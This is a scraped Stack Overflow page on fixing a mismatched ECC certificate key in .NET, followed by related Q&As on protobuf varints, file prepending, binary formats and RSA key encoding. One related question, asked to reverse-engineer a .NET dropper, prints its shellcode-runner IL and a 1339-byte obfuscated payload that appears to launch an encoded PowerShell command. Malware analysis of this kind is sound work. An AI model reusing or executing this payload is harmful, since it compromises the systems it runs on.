As it turned out in the comments to this SO-question the source of the problem lies elsewhere so I decided to ask a new question.
I request a certificate from our PKI for a ecc keypair (curve is brainpoolP384r1).
This is done via registration authority that does the proof of possession. After that I attach the private key to the issued certificate using some of the code in this helpful questions/answers: generate-certificate-using-ecdsa-in-c-sharp and translating-elliptic-curve-parameters-bc-to-ms.
After that I store the certificate with the private key in the MY-Store. So far everything works and the certificate is shown as valid in the MMC console.
But if I look at it with certutil -user -store my it results in the following error (unfortunately it is in german but I will explain the errors below):
Seriennummer: 4cce6787580be9db
Aussteller: C=DE, O=TestIt, CN=ManagementCA
Nicht vor: 01.03.2018 08:30
Nicht nach: 29.02.2020 08:30
Antragsteller: CN=test#my.domain
Kein Stammzertifikat
Zertifikathash(sha1): 3cd94f55fa6d1c66eff9ed1cc45649006ac12616
Schlüsselcontainer = {5C4E984A-D2DB-4BE5-BD82-7A6826C4A389}
Eindeutiger Containername: 28083d7c2cef0143c31de128e470b486_6097f4ab-4eeb-4550-91e6-2c748bfb85d3
Anbieter = Microsoft Software Key Storage Provider
Der private Schlüssel eignet sich nicht zum Nur-Text-Export.
Öffentlicher Schlüssel des Zertifikats:
Version: 3
Öffentlicher Schlüssel-Algorithmus:
Algorithmus Objekt-ID: 1.2.840.10045.2.1 ECC
Algorithmusparameter:
0000 30 82 01 40 02 01 01 30 3c 06 07 2a 86 48 ce 3d
0010 01 01 02 31 00 8c b9 1e 82 a3 38 6d 28 0f 5d 6f
0020 7e 50 e6 41 df 15 2f 71 09 ed 54 56 b4 12 b1 da
0030 19 7f b7 11 23 ac d3 a7 29 90 1d 1a 71 87 47 00
0040 13 31 07 ec 53 30 64 04 30 7b c3 82 c6 3d 8c 15
0050 0c 3c 72 08 0a ce 05 af a0 c2 be a2 8e 4f b2 27
0060 87 13 91 65 ef ba 91 f9 0f 8a a5 81 4a 50 3a d4
0070 eb 04 a8 c7 dd 22 ce 28 26 04 30 04 a8 c7 dd 22
0080 ce 28 26 8b 39 b5 54 16 f0 44 7c 2f b7 7d e1 07
0090 dc d2 a6 2e 88 0e a5 3e eb 62 d5 7c b4 39 02 95
00a0 db c9 94 3a b7 86 96 fa 50 4c 11 04 61 04 1d 1c
00b0 64 f0 68 cf 45 ff a2 a6 3a 81 b7 c1 3f 6b 88 47
00c0 a3 e7 7e f1 4f e3 db 7f ca fe 0c bd 10 e8 e8 26
00d0 e0 34 36 d6 46 aa ef 87 b2 e2 47 d4 af 1e 8a be
00e0 1d 75 20 f9 c2 a4 5c b1 eb 8e 95 cf d5 52 62 b7
00f0 0b 29 fe ec 58 64 e1 9c 05 4f f9 91 29 28 0e 46
0100 46 21 77 91 81 11 42 82 03 41 26 3c 53 15 02 31
0110 00 8c b9 1e 82 a3 38 6d 28 0f 5d 6f 7e 50 e6 41
0120 df 15 2f 71 09 ed 54 56 b3 1f 16 6e 6c ac 04 25
0130 a7 cf 3a b6 af 6b 7f c3 10 3b 88 32 02 e9 04 65
0140 65 02 01 01
Länge des öffentlichen Schlüssels: 384 Bits
Öffentlicher Schlüssel: Nicht verwendete Bits = 0
0000 04 0e e2 21 a3 24 11 58 28 f9 12 fe 7a 2d 26 5f
0010 ad 90 cc 79 1c b6 68 3a b0 ff f2 df 68 17 84 cd
0020 5f a7 9e 27 10 00 ea 6a 47 d2 74 9f c4 15 36 d1
0030 98 5e 65 5b 2e 7e 61 d4 16 85 ed 3f 24 6b c1 2c
0040 ef 48 b2 26 77 2b c3 61 05 44 e3 1c 2a 31 cb c1
0050 f6 e1 cc a2 d6 3e d8 ac 36 8f ea e7 df 7d b0 9d
0060 9d
Schlüssel-ID-Hash(rfc-sha1): e90f7f6c93e660db6742585d6dd5327f08e2469b
Schlüssel-ID-Hash(sha1): 1a0440ec89a6b951169c97d7d766c477c5a9128d
Schlüssel-ID-Hash(bcrypt-sha1): 66a3af2d30d59c36337fcf153693e6bc0111c14b
Schlüssel-ID-Hash(bcrypt-sha256): cfdf5d9b466f595f9c23dec4430a19b5134f41c882bea709ab120ed1c2496ce9
Container des öffentlichen Schlüssels:
Öffentlicher Schlüssel-Algorithmus:
Algorithmus Objekt-ID: 1.2.840.10045.2.1 ECC
Algorithmusparameter:
06 09 2b 24 03 03 02 08 01 01 0b
1.3.36.3.3.2.8.1.1.11 brainpoolP384r1
Länge des öffentlichen Schlüssels: 384 Bits
Öffentlicher Schlüssel: Nicht verwendete Bits = 0
0000 04 0e e2 21 a3 24 11 58 28 f9 12 fe 7a 2d 26 5f
0010 ad 90 cc 79 1c b6 68 3a b0 ff f2 df 68 17 84 cd
0020 5f a7 9e 27 10 00 ea 6a 47 d2 74 9f c4 15 36 d1
0030 98 5e 65 5b 2e 7e 61 d4 16 85 ed 3f 24 6b c1 2c
0040 ef 48 b2 26 77 2b c3 61 05 44 e3 1c 2a 31 cb c1
0050 f6 e1 cc a2 d6 3e d8 ac 36 8f ea e7 df 7d b0 9d
0060 9d
Schlüssel-ID-Hash(rfc-sha1): e90f7f6c93e660db6742585d6dd5327f08e2469b
Schlüssel-ID-Hash(sha1): 79d60ac0a75a30e1ba3f07ccc4dbace00610696c
Schlüssel-ID-Hash(bcrypt-sha1): 66a3af2d30d59c36337fcf153693e6bc0111c14b
Schlüssel-ID-Hash(bcrypt-sha256): cfdf5d9b466f595f9c23dec4430a19b5134f41c882bea709ab120ed1c2496ce9
FEHLER: Öffentlicher Schlüssel stimmt nicht mit gespeichertem Schlüsselsatz überein.
Das Testen der Signatur ist fehlgeschlagen.
The last part translates as:
ERROR: Certificate public key does NOT match stored keyset
Signature test FAILED
You can see that the public key itself is identical, just the AlgorithmIdentifier is different. I do not know where the container public key comes from, the certification request matches the AlgorithmIdentifier from the certificate public key shown above.
If I try to create the csr with the AlgorithmIdentifier of the container public key shown above, I get an error in the PKI "encoded key spec not recognized".
All this leeds me to the conclusion that I am doing something wrong with the csr.
I will not post the whole code as it spawns mutliple classes just the part wher the SubjectPublicKeyInfo is constructed as this seems to be the part where things go wrong:
Code that creates valid ASN1 but results in the error above (Signature test failed)
byte[] publicKey = ecPublicKeyParameters.Q.GetEncoded();
string base64PublicKey = Convert.ToBase64String(publicKey);
// This base64PublicKey is send to the server, that handles it with the code below:
var ecPars = TeleTrusTNamedCurves.GetByName("brainpoolP384r1");
ECDomainParameters ecDomPars = new ECDomainParameters(
ecPars.Curve,
ecPars.G,
ecPars.N,
ecPars.H,
ecPars.GetSeed());
var curve = ecDomPars.Curve;
byte[] data = Convert.FromBase64String(base64PublicKey);
var ecPoint = curve.DecodePoint(data);
ECPublicKeyParameters publicKey = new ECPublicKeyParameters(ecPoint, ecDomPars);
SubjectPublicKeyInfo publicKeyInfo = SubjectPublicKeyInfoFactory.CreateSubjectPublicKeyInfo(ecPublicKeyParameters);
Code that creates valid ASN1 that makes the PKI complain:
// Using ECDsaCng directly in the hope that the certificate will be valid for windows:
ECParameters ecParams = ecdsaPair.ExportParameters(false);
ECPoint ecPoint = ecParams.Q;
IEnumerable<byte> blobBytes = ecPoint.X.Concat(ecPoint.Y);
byte[] eccblob = blobBytes.ToArray();
// Sending this to the server where it will be used for SubjectPublicKeyInfo
AlgorithmIdentifier algorithmIdentifier = new AlgorithmIdentifier(new DerObjectIdentifier("1.2.840.10045.2.1"), new DerObjectIdentifier("1.3.36.3.3.2.8.1.1.11"));
SubjectPublicKeyInfo publicKeyInfo = new SubjectPublicKeyInfo(algorithmIdentifier, new DerBitString(eccblob));
How can I create a valid SubjectPublicKeyInfo that satisfies the PKI and the certutil validation?
The problem with the cert-as-created seems to be that the certificate uses explicit curve domain parameters (which the RFCs frown on), and the private key did curve normalization to get back to a named curve, which you seem to have identified given the second approach.
In your "more manual" approach you didn't encode the public key correctly, you need a leading 04 to indicate that you're sending an uncompressed coordinate pair. (04 [x coordinate] [y coordinate]). The CA likely rejected your request because it didn't understand it.
04 0e e2 21 a3 24 11 58 28 f9 12 fe 7a 2d 26 5f
ad 90 cc 79 1c b6 68 3a b0 ff f2 df 68 17 84 cd
5f a7 9e 27 10 00 ea 6a 47 d2 74 9f c4 15 36 d1
98 5e 65 5b 2e 7e 61 d4 16 85 ed 3f 24 6b c1 2c
ef 48 b2 26 77 2b c3 61 05 44 e3 1c 2a 31 cb c1
f6 e1 cc a2 d6 3e d8 ac 36 8f ea e7 df 7d b0 9d
9d
Note the leading 04, and how it has odd length
FWIW: If you're on .NET Core 2.0 you can do this without BouncyCastle via System.Security.Cryptography.X509Certificates.CertificateRequest. That class is also available in the 4.7.2 early access release.
Related
I am currently reverse engineering a piece of .NET PE malware that drop shellcode using the CreateThread function and a block of data.
This is the shellcodeRunner function as decompiled by monodis (im on linux)
.maxstack 6
.locals init (
unsigned int8[] V_0,
int32 V_1,
native int V_2,
int32 V_3)
IL_0000: ldstr "[+] Running shellcode..."
IL_0005: call void class [mscorlib]System.Console::WriteLine(string)
IL_000a: ldc.i4 1339
IL_000f: newarr [mscorlib]System.Byte
IL_0014: dup
IL_0015: ldtoken field valuetype '<PrivateImplementationDetails>'/'__StaticArrayInitTypeSize=1339' '<PrivateImplementationDetails>'::34D84C3D147ABF5A05B8FF8851822AACADD1A91EBDE633F0C7C82779CCC23977
IL_001a: call void class [mscorlib]System.Runtime.CompilerServices.RuntimeHelpers::InitializeArray(class [mscorlib]System.Array, valuetype [mscorlib]System.RuntimeFieldHandle)
IL_001f: stloc.0
IL_0020: ldc.i4.0
IL_0021: stloc.3
IL_0022: br.s IL_0037
IL_0024: ldloc.0
IL_0025: ldloc.3
IL_0026: ldloc.0
IL_0027: ldloc.3
IL_0028: ldelem.u1
IL_0029: ldc.i4.2
IL_002a: sub
IL_002b: ldc.i4 255
IL_0030: and
IL_0031: conv.u1
IL_0032: stelem.i1
IL_0033: ldloc.3
IL_0034: ldc.i4.1
IL_0035: add
IL_0036: stloc.3
IL_0037: ldloc.3
IL_0038: ldloc.0
IL_0039: ldlen
IL_003a: conv.i4
IL_003b: blt.s IL_0024
IL_003d: ldloc.0
IL_003e: ldlen
IL_003f: conv.i4
IL_0040: stloc.1
IL_0041: ldsfld native int [mscorlib]System.IntPtr::Zero
IL_0046: ldloc.1
IL_0047: ldc.i4 12288
IL_004c: ldc.i4.s 0x40
IL_004e: call native int class dropper.Program::VirtualAlloc(native int, int32, unsigned int32, unsigned int32)
IL_0053: stloc.2
IL_0054: ldloc.0
IL_0055: ldc.i4.0
IL_0056: ldloc.2
IL_0057: ldloc.1
IL_0058: call void class [mscorlib]System.Runtime.InteropServices.Marshal::Copy(unsigned int8[], int32, native int, int32)
IL_005d: ldsfld native int [mscorlib]System.IntPtr::Zero
IL_0062: ldc.i4.0
IL_0063: ldloc.2
IL_0064: ldsfld native int [mscorlib]System.IntPtr::Zero
IL_0069: ldc.i4.0
IL_006a: ldc.i4.0
IL_006b: call native int class dropper.Program::CreateThread(native int, unsigned int32, native int, native int, unsigned int32, unsigned int32)
IL_0070: ldc.i4.m1
IL_0071: call int32 class dropper.Program::WaitForSingleObject(native int, int32)
IL_0076: pop
IL_0077: ret
} // end of method Program::shellcodeRunner
And this is the shellcode presumably passed to the shellcodeRunner function.
.data D_000032e4 = bytearray (
FE 4A 85 E6 F2 EA C2 02 02 02 43 53 43 52 54 53
58 4A 33 D4 67 4A 8D 54 62 4A 8D 54 1A 4A 8D 54
22 4A 8D 74 52 4A 11 B9 4C 4C 4F 33 CB 4A 33 C2
AE 3E 63 7E 04 2E 22 43 C3 CB 0F 43 03 C3 E4 EF
54 43 53 4A 8D 54 22 8D 44 3E 4A 03 D2 8D 82 8A
02 02 02 4A 87 C2 76 69 4A 03 D2 52 8D 4A 1A 46
8D 42 22 4B 03 D2 E5 58 4A 01 CB 43 8D 36 8A 4A
03 D8 4F 33 CB 4A 33 C2 AE 43 C3 CB 0F 43 03 C3
3A E2 77 F3 4E 05 4E 26 0A 47 3B D3 77 DA 5A 46
8D 42 26 4B 03 D2 68 43 8D 0E 4A 46 8D 42 1E 4B
03 D2 43 8D 06 8A 4A 03 D2 43 5A 43 5A 60 5B 5C
43 5A 43 5B 43 5C 4A 85 EE 22 43 54 01 E2 5A 43
5B 5C 4A 8D 14 EB 59 01 01 01 5F 4A BC 03 02 02
02 02 02 02 02 4A 8F 8F 03 03 02 02 43 BC 33 8D
71 89 01 D7 BD E2 1F 2C 0C 43 BC A8 97 BF 9F 01
D7 4A 85 C6 2A 3E 08 7E 0C 82 FD E2 77 07 BD 49
15 74 71 6C 02 5B 43 8B DC 01 D7 72 71 79 67 74
75 6A 67 6E 6E 30 67 7A 67 22 2F 67 72 22 64 7B
72 63 75 75 22 2F 67 70 65 22 4C 43 44 35 43 49
4F 43 4B 43 43 3B 43 45 43 43 59 79 44 56 43 4A
6D 43 65 79 44 32 43 49 57 43 64 53 43 77 43 47
36 43 5C 53 44 32 43 45 36 43 58 79 44 6E 43 49
4B 43 53 79 44 75 43 49 6D 43 5C 53 44 77 43 4A
53 43 5A 53 43 38 43 46 71 43 64 69 44 6E 43 4A
65 43 4D 43 43 72 43 46 75 43 4B 43 43 6D 43 4A
53 43 5B 53 44 7B 43 49 65 43 5C 53 44 32 43 4A
57 43 65 69 44 75 43 45 43 43 52 53 43 69 43 45
65 43 63 43 44 32 43 4A 53 43 65 43 44 7C 43 46
71 43 4E 79 43 78 43 49 69 43 5C 53 44 7B 43 49
47 43 64 69 44 7C 43 49 3A 43 64 53 44 35 43 49
47 43 65 69 44 6E 43 45 36 43 64 69 44 75 43 45
3A 43 64 43 44 7C 43 49 53 43 63 79 44 6A 43 49
5B 43 63 69 43 36 43 49 5B 43 63 69 44 6A 43 49
5B 43 4F 69 43 7C 43 46 6D 43 51 43 44 6F 43 4A
57 43 64 43 44 7C 43 49 53 43 4E 79 44 6E 43 4A
5B 43 63 53 44 75 43 45 36 43 66 43 44 36 43 4A
53 43 4C 79 43 39 43 45 53 43 65 43 44 33 43 49
4B 43 64 43 44 72 43 4A 4F 43 63 43 44 6E 43 49
53 43 55 43 44 6A 43 4A 4F 43 63 43 43 69 43 46
32 43 4B 43 43 70 43 47 57 43 54 69 43 33 43 46
6D 43 53 69 43 37 43 47 57 43 51 53 44 48 43 46
47 43 4F 43 43 7A 43 47 5B 43 54 53 44 47 43 46
4B 43 4F 69 43 7A 43 46 57 43 4F 43 44 47 43 46
4F 43 51 43 43 7C 43 46 4B 43 53 53 43 7A 43 46
4F 43 50 53 44 46 43 47 5B 43 4F 69 43 79 43 46
4B 43 53 53 43 32 43 47 5B 43 50 79 43 34 43 46
53 43 53 69 43 7A 43 47 5B 43 50 53 44 44 43 46
53 43 53 79 44 44 43 46 57 43 53 79 44 45 43 47
57 43 50 69 43 34 43 46 65 43 53 69 43 79 43 46
47 43 50 43 44 45 43 46 47 43 53 69 44 48 43 46
57 43 4C 79 43 39 43 45 43 43 4C 43 44 49 43 49
6D 43 64 43 44 6E 43 47 69 43 5B 53 44 7C 43 49
69 43 4B 43 43 3B 43 45 43 43 54 79 44 6E 43 4A
53 43 4E 53 44 49 43 49 6D 43 64 43 44 6E 43 47
69 43 5B 53 44 7C 43 49 69 43 4B 43 43 76 43 47
6D 43 64 69 44 79 43 4A 57 43 66 43 44 56 43 4A
53 43 65 69 44 6E 43 49 47 43 64 53 43 69 43 45
69 43 4C 43 44 35 43 49 4F 43 4E 69 44 52 43 4A
43 43 5C 53 44 77 43 48 4B 43 5C 53 44 6A 43 49
53 43 4D 43 43 6D 43 4A 53 43 5B 53 44 7B 43 49
65 43 5C 53 44 32 43 4A 57 43 65 69 44 75 43 45
6D 43 4D 53 43 39 43 45 43 43 55 53 44 6F 43 45
43 43 4D 43 43 6D 43 47 5B 43 63 53 44 75 43 49
57 43 55 43 44 6A 43 4A 4F 43 63 43 43 77 43 47
69 43 5B 53 44 7C 43 49 69 43 4B 43 43 76 43 49
57 43 65 53 43 69 43 45 53 43 65 43 44 33 43 49
4B 43 64 43 44 72 43 4A 4F 43 63 43 44 6E 43 49
53 43 55 43 44 6A 43 4A 4F 43 63 43 43 72 43 45
43 43 67 79 44 4C 43 47 57 43 59 43 43 71 43 45
53 43 66 79 44 6C 43 45 36 43 54 43 44 78 43 4A
65 43 64 69 44 75 43 49 3A 43 5B 53 44 6D 43 48
4F 43 66 43 44 7B 43 49 6D 43 64 69 44 70 43 45
69 43 4C 43 44 32 43 49 47 43 65 69 44 70 43 49
57 43 66 43 44 33 43 4A 4B 43 64 43 43 72 43 45
6D 43 68 53 43 69 43 47 57 43 64 43 44 7C 43 49
57 43 4B 43 44 39 43 48 65 43 65 69 44 72 43 4A
53 43 5C 53 43 76 43 47 69 43 64 79 44 7C 43 4A
53 43 4B 43 44 64 43 45 32 43 5A 53 43 69 43 47
4F 43 64 79 44 33 43 49 79 43 5C 43 43 69 43 49
36 43 64 79 44 32 43 45 43 43 5B 79 44 78 43 49
36 43 64 69 44 6E 43 49 4F 43 66 43 43 69 43 4A
65 43 63 53 44 32 43 49 69 43 4B 43 43 6D 43 4A
53 43 5B 53 44 7B 43 49 65 43 5C 53 44 32 43 4A
57 43 65 69 44 75 43 4A 32 43 02) // size: 1339
What tool could I use to disassemble the instructions contained in the data. Running monodis on the data only does not work, as it contains no header table of its own. Is there any 'force' parameter to monodis that allows it to still disassemble the data?
Any help on this matter would be much appreciated.
I was able to disassemble the data portion by selecting and right-clicking > disassemble in Ghidra. Thanks to Dai for the insight.
I have output from a SRSLabs EC301 in .sec format, which is a proprietary binary format. There is some windows based software available for reading this file, but someone moved the tower which has the software I need, and while I am still trying to find it, I'm also parallelizing my search for getting useful data out of this file.
I've viewed the file with hexdump and get this:
00000000 00 01 00 00 00 ff ff ff ff 01 00 00 00 00 00 00 |................|
00000010 00 06 01 00 00 00 0f 53 52 53 4c 61 62 20 31 2e |.......SRSLab 1.|
00000020 37 2e 30 2e 31 30 0b 00 01 00 00 00 ff ff ff ff |7.0.10..........|
00000030 01 00 00 00 00 00 00 00 04 01 00 00 00 0c 53 79 |..............Sy|
00000040 73 74 65 6d 2e 49 6e 74 33 32 01 00 00 00 07 6d |stem.Int32.....m|
00000050 5f 76 61 6c 75 65 00 08 02 00 00 00 0b 00 01 00 |_value..........|
00000060 00 00 ff ff ff ff 01 00 00 00 00 00 00 00 0c 02 |................|
00000070 00 00 00 3e 53 52 53 4c 61 62 2c 20 56 65 72 73 |...>SRSLab, Vers|
00000080 69 6f 6e 3d 31 2e 37 2e 30 2e 31 30 2c 20 43 75 |ion=1.7.0.10, Cu|
00000090 6c 74 75 72 65 3d 6e 65 75 74 72 61 6c 2c 20 50 |lture=neutral, P|
000000a0 75 62 6c 69 63 4b 65 79 54 6f 6b 65 6e 3d 6e 75 |ublicKeyToken=nu|
000000b0 6c 6c 05 01 00 00 00 12 45 43 48 6f 73 74 41 70 |ll......ECHostAp|
000000c0 70 2e 53 52 53 45 43 44 6f 63 02 00 00 00 09 65 |p.SRSECDoc.....e|
000000d0 63 50 72 6f 6a 65 63 74 0b 6c 69 6e 65 4d 61 6e |cProject.lineMan|
000000e0 61 67 65 72 04 04 11 45 43 48 6f 73 74 41 70 70 |ager...ECHostApp|
000000f0 2e 45 43 50 72 6a 63 74 02 00 00 00 15 45 43 48 |.ECPrjct.....ECH|
00000100 6f 73 74 41 70 70 2e 4c 69 6e 65 4d 61 6e 61 67 |ostApp.LineManag|
00000110 65 72 02 00 00 00 02 00 00 00 09 03 00 00 00 09 |er..............|
00000120 04 00 00 00 0c 05 00 00 00 48 53 52 53 49 6e 73 |.........HSRSIns|
00000130 74 72 75 6d 65 6e 74 50 6f 6f 6c 2c 20 56 65 72 |trumentPool, Ver|
00000140 73 69 6f 6e 3d 31 2e 30 2e 30 2e 30 2c 20 43 75 |sion=1.0.0.0, Cu|
00000150 6c 74 75 72 65 3d 6e 65 75 74 72 61 6c 2c 20 50 |lture=neutral, P|
00000160 75 62 6c 69 63 4b 65 79 54 6f 6b 65 6e 3d 6e 75 |ublicKeyToken=nu|
00000170 6c 6c 05 03 00 00 00 11 45 43 48 6f 73 74 41 70 |ll......ECHostAp|
00000180 70 2e 45 43 50 72 6a 63 74 0b 00 00 00 0b 61 63 |p.ECPrjct.....ac|
00000190 74 69 6f 6e 74 69 74 6c 65 0e 6f 62 73 65 72 76 |tiontitle.observ|
000001a0 61 62 6c 65 4c 69 73 74 09 75 73 65 72 55 6e 69 |ableList.userUni|
000001b0 74 73 06 72 65 70 65 61 74 08 6e 6f 64 65 52 6f |ts.repeat.nodeRo|
000001c0 6f 74 05 74 69 74 6c 65 06 72 65 6d 61 72 6b 0c |ot.title.remark.|
000001d0 6f 70 65 72 61 74 6f 72 4e 61 6d 65 04 64 61 74 |operatorName.dat|
000001e0 65 0e 69 6e 73 74 72 75 6d 65 6e 74 4c 69 73 74 |e.instrumentList|
000001f0 0a 6d 61 69 6e 72 65 70 65 61 74 01 02 04 00 04 |.mainrepeat.....|
00000200 01 02 02 00 03 00 22 53 52 53 49 6e 73 74 72 75 |......"SRSInstru|
00000210 6d 65 6e 74 50 6f 6f 6c 2e 55 73 65 72 44 65 66 |mentPool.UserDef|
00000220 69 6e 65 64 55 6e 69 74 73 05 00 00 00 08 13 45 |inedUnits......E|
And so on. The output viewed as ASCII looks eerily like Java, so my question is: is this possibly some standard .NET pickle-like output that can be fairly easily loaded into a Java program to be read?
There are classes that aren't part of the .NET standard library, but I also decompressed the MSI installer and see some names I recognize, and believe them to be bytecode files.
Question: Is it possible (and how?) to append a byte array to an existing file without loading the entire file in memory.
To be more specific:
the goal is to do transform this:
00000000 89 50 4E 47 0D 0A 1A 0A 00 00 00 0D 49 48 44 52
00000010 00 00 10 00 00 00 08 00 08 02 00 00 00 29 F0 61
00000020 E9 00 00 00 09 70 48 59 73 00 00 17 12 00 00 17
00000030 12 01 67 9F D2 52 00 00 20 00 49 44 41 54 78 DA
00000040 DC BD DB 76 24 39 AE 2C 08 F0 E2 1E AA EA F9 FF
00000050 FF 9C 5E A7 53 EE BC 60 1E 8C 80 C3 AF 0A 29 B3
00000060 76 EF 33 7A A8 A5 52 46 F8 85 04 41 10 30 33 30
00000070 33 D3 37 7F 44 E4 07 DF FA 5F F5 C3 CC 22 F2 F0
00000080 AF 97 6F 8A AF E0 BB 0F 57 B0 7F 12 22 3E FD FD
into this:
--added bytes
00000000 74 65 73 74 74 65 73 74 74 65 73 74 74 65 73 74
--added bytes
00000010 89 50 4E 47 0D 0A 1A 0A 00 00 00 0D 49 48 44 52
00000020 00 00 10 00 00 00 08 00 08 02 00 00 00 29 F0 61
00000030 E9 00 00 00 09 70 48 59 73 00 00 17 12 00 00 17
00000040 12 01 67 9F D2 52 00 00 20 00 49 44 41 54 78 DA
00000050 DC BD DB 76 24 39 AE 2C 08 F0 E2 1E AA EA F9 FF
00000060 FF 9C 5E A7 53 EE BC 60 1E 8C 80 C3 AF 0A 29 B3
00000070 76 EF 33 7A A8 A5 52 46 F8 85 04 41 10 30 33 30
00000080 33 D3 37 7F 44 E4 07 DF FA 5F F5 C3 CC 22 F2 F0
I've been trying to figure this out the whole morning, but I can't seem to find a working solution.
I know it is possible to append a file at the end without loading the file into memory, but I need to append the beginning.
Thanks in advance
Simply put, that's not possible. That's not how files work. Depending on how you do it, you may not have to load the whole file into memory at the same time, but you will need to load every single byte of the file and write it after the bytes you wrote to the front.
everyone,
I am using protobuf-net library to serialize-deserialize text data into binary files. I had similar error in the past but then i made a mistake of writing binary data to a text file. This time i am sure that the file is written in Binary mode. While I read the data, I get EndOfStream exception: Attempted to read past the end of the stream.
I have a message header before each object in binary file.
message HeaderMessage {
required double timestamp = 1;
required string ric_code = 2;
required int32 count = 3;
required int32 total_message_size = 4;
}
I am getting exception when i am reading total_message_size field at fixed location
HEADER: 1111 1 1 hk 0
File: 398909440 bytes
Reading data objects:
1073561: 09 e3 a5 9b c4 0c b3 e0 40 12 07 31 30 39 33 2e 48 4b 18 04 20 5a
1073677: 09 e3 a5 9b c4 0c b3 e0 40 12 07 30 32 39 37 2e 48 4b 18 02 20 2d
1073748: 09 e3 a5 9b c4 0c b3 e0 40 12 07 30 32 39 37 2e 48 4b 18 04 20 5a
1073864: 09 e3 a5 9b c4 0c b3 e0 40 12 07 38 31 37 33 2e 48 4b 18 02 20 2d
1073935: 09 e3 a5 9b c4 0c b3 e0 40 12 07 38 31 37 33 2e 48 4b 18 04 20 5b
1074052: 09 e3 a5 9b c4 0c b3 e0 40 12 07 30 32 33 35 2e 48 4b 18 02 20 2d
1074123: 09 e3 a5 9b c4 0c b3 e0 40 12 07 30 36 30 33 2e 48 4b 18 02 20 2d
1074194: 09 e3 a5 9b c4 0c b3 e0 40 12 07 30 36 30 33 2e 48 4b 18 04 20 5b
1074311: 09 e3 a5 9b c4 0c b3 e0 40 12 07 30 32 33 35 2e 48 4b 18 06 20 8a
In the above output, first field is the stream position. Total stream length is 398909440. So its not possible that the stream has reached its end. I tried to print individual fields at the point when it fails to read, I see that the ProtoReader class is always failing to read total_message_size field.
In aboe output, the last row is the culprit where protobuf-net is not able to read the data.
1074311: 09 e3 a5 9b c4 0c b3 e0 40 12 07 30 32 33 35 2e 48 4b 18 06 20 8a
If we split the fields, the data looks as follows:
field1 timestamp field: type: 09 payload: e3 a5 9b c4 0c b3 e0 40
field2 ric_code field: type: 12 payload: 07 30 32 33 35 2e 48 4b
field3 count field: type: 18 payload: 06
field4 total_message_size: type: 20 payload: 8a
the exception is raised while reading the payload of 4th field and the value is 8a. (decimal 138).
Stack trace is as follows:
at ProtoBuf.ProtoReader.TryReadUInt32VariantWithoutMoving(Boolean trimNegative, UInt32& value) in C:\Dev\protobuf-net\protobuf-net\ProtoReader.cs:line 101
at ProtoBuf.ProtoReader.ReadUInt32Variant(Boolean trimNegative) in C:\Dev\protobuf-net\protobuf-net\ProtoReader.cs:line 138
at ProtoBuf.ProtoReader.ReadInt32() in C:\Dev\protobuf-net\protobuf-net\ProtoReader.cs:line 264
at protobuf_test.Program.Main(String[] args) in H:\Personal\Visual Studio 2010\Projects\protobuf-test\protobuf-test\Program.cs:line 80
at System.AppDomain._nExecuteAssembly(RuntimeAssembly assembly, String[] args)
at System.AppDomain.ExecuteAssembly(String assemblyFile, Evidence assemblySecurity, String[] args)
at Microsoft.VisualStudio.HostingProcess.HostProc.RunUsersAssembly()
at System.Threading.ThreadHelper.ThreadStart_Context(Object state)
at System.Threading.ExecutionContext.Run(ExecutionContext executionContext, ContextCallback callback, Object state, Boolean ignoreSyncCtx)
at System.Threading.ExecutionContext.Run(ExecutionContext executionContext, ContextCallback callback, Object state)
at System.Threading.ThreadHelper.ThreadStart()
what is the issue in reading the value 138? What is the issue in this case?
Regards,
Alok
0x8a is not a valid varint. Varint encoding uses the MSB as a continuation bit, meaning: if the MSB is set, there is at least one more byte expected (it continues until the MSB is not set, combining the remaining 7-bit chunks little-endian style). Consequently, 0x8a cannot exist by itself in a valid varint. 0x8a and something else, sure. You can see this in the wire spec. Please ensure you haven't accidentally cut the end off this individual message, or misreported the length (since I gather each record is individually wrapped with a size prefix).
I want to use RSA public key encryption. What is the best way to store or retrieve private and public keys? Is XML a good idea here?
How to get the keys?
RSAParameters privateKey = RSA.ExportParameters(true);
RSAParameters publicKey = RSA.ExportParameters(false);
Because RSAParameters have the following members: D, DP, DQ, Exponent, InverseQ, Modulus, P, Q
Which one is the key?
i wanted to point out something as a response to a comment by ala asking if:
Public Key = modulus + exponent
That is exactly correct. There are a few ways of storing this exponent + modulus. The first attempt at a standard was in RFC 3447 (Public-Key Cryptography Standards (PKCS) #1: RSA Cryptography Specifications Version 2.1), which defines a structure for a public key of called RSAPublicKey:
RSAPublicKey ::= SEQUENCE {
modulus INTEGER, -- n
publicExponent INTEGER -- e
}
The same RFC goes on to declare that you should use the DER flavor of ASN.1 encoding to store the public key. i have a sample public key:
publicExponent: 65537 (it is convention that all RSA public keys use 65537 as their exponent)
modulus: 0xDC 67 FA F4 9E F2 72 1D 45 2C B4 80 79 06 A0 94 27 50 8209 DD 67 CE 57 B8 6C 4A 4F 40 9F D2 D1 69 FB 995D 85 0C 07 A1 F9 47 1B 56 16 6E F6 7F B9 CF 2A 58 36 37 99 29 AA 4F A8 12 E8 4F C7 82 2B 9D 72 2A 9C DE 6F C2 EE 12 6D CF F0 F2 B8 C4 DD 7C 5C 1A C8 17 51 A9 AC DF 08 22 04 9D 2B D7 F9 4B 09 DE 9A EB 5C 51 1A D8 F8 F9 56 9E F8 FB 37 9B 3F D3 74 65 24 0D FF 34 75 57 A4 F5 BF 55
The DER ASN.1 encoding of this public key is:
30 81 89 ;SEQUENCE (0x89 bytes = 137 bytes)
| 02 81 81 ;INTEGER (0x81 bytes = 129 bytes)
| | 00 ;leading zero of INTEGER
| | DC 67 FA
| | F4 9E F2 72 1D 45 2C B4 80 79 06 A0 94 27 50 82
| | 09 DD 67 CE 57 B8 6C 4A 4F 40 9F D2 D1 69 FB 99
| | 5D 85 0C 07 A1 F9 47 1B 56 16 6E F6 7F B9 CF 2A
| | 58 36 37 99 29 AA 4F A8 12 E8 4F C7 82 2B 9D 72
| | 2A 9C DE 6F C2 EE 12 6D CF F0 F2 B8 C4 DD 7C 5C
| | 1A C8 17 51 A9 AC DF 08 22 04 9D 2B D7 F9 4B 09
| | DE 9A EB 5C 51 1A D8 F8 F9 56 9E F8 FB 37 9B 3F
| | D3 74 65 24 0D FF 34 75 57 A4 F5 BF 55
| 02 03 ;INTEGER (0x03 = 3 bytes)
| | 01 00 01 ;hex for 65537. see it?
If you take that entire above DER ASN.1 encoded modulus+exponent:
30 81 89 02 81 81 00 DC 67 FA
F4 9E F2 72 1D 45 2C B4 80 79 06 A0 94 27 50 82
09 DD 67 CE 57 B8 6C 4A 4F 40 9F D2 D1 69 FB 99
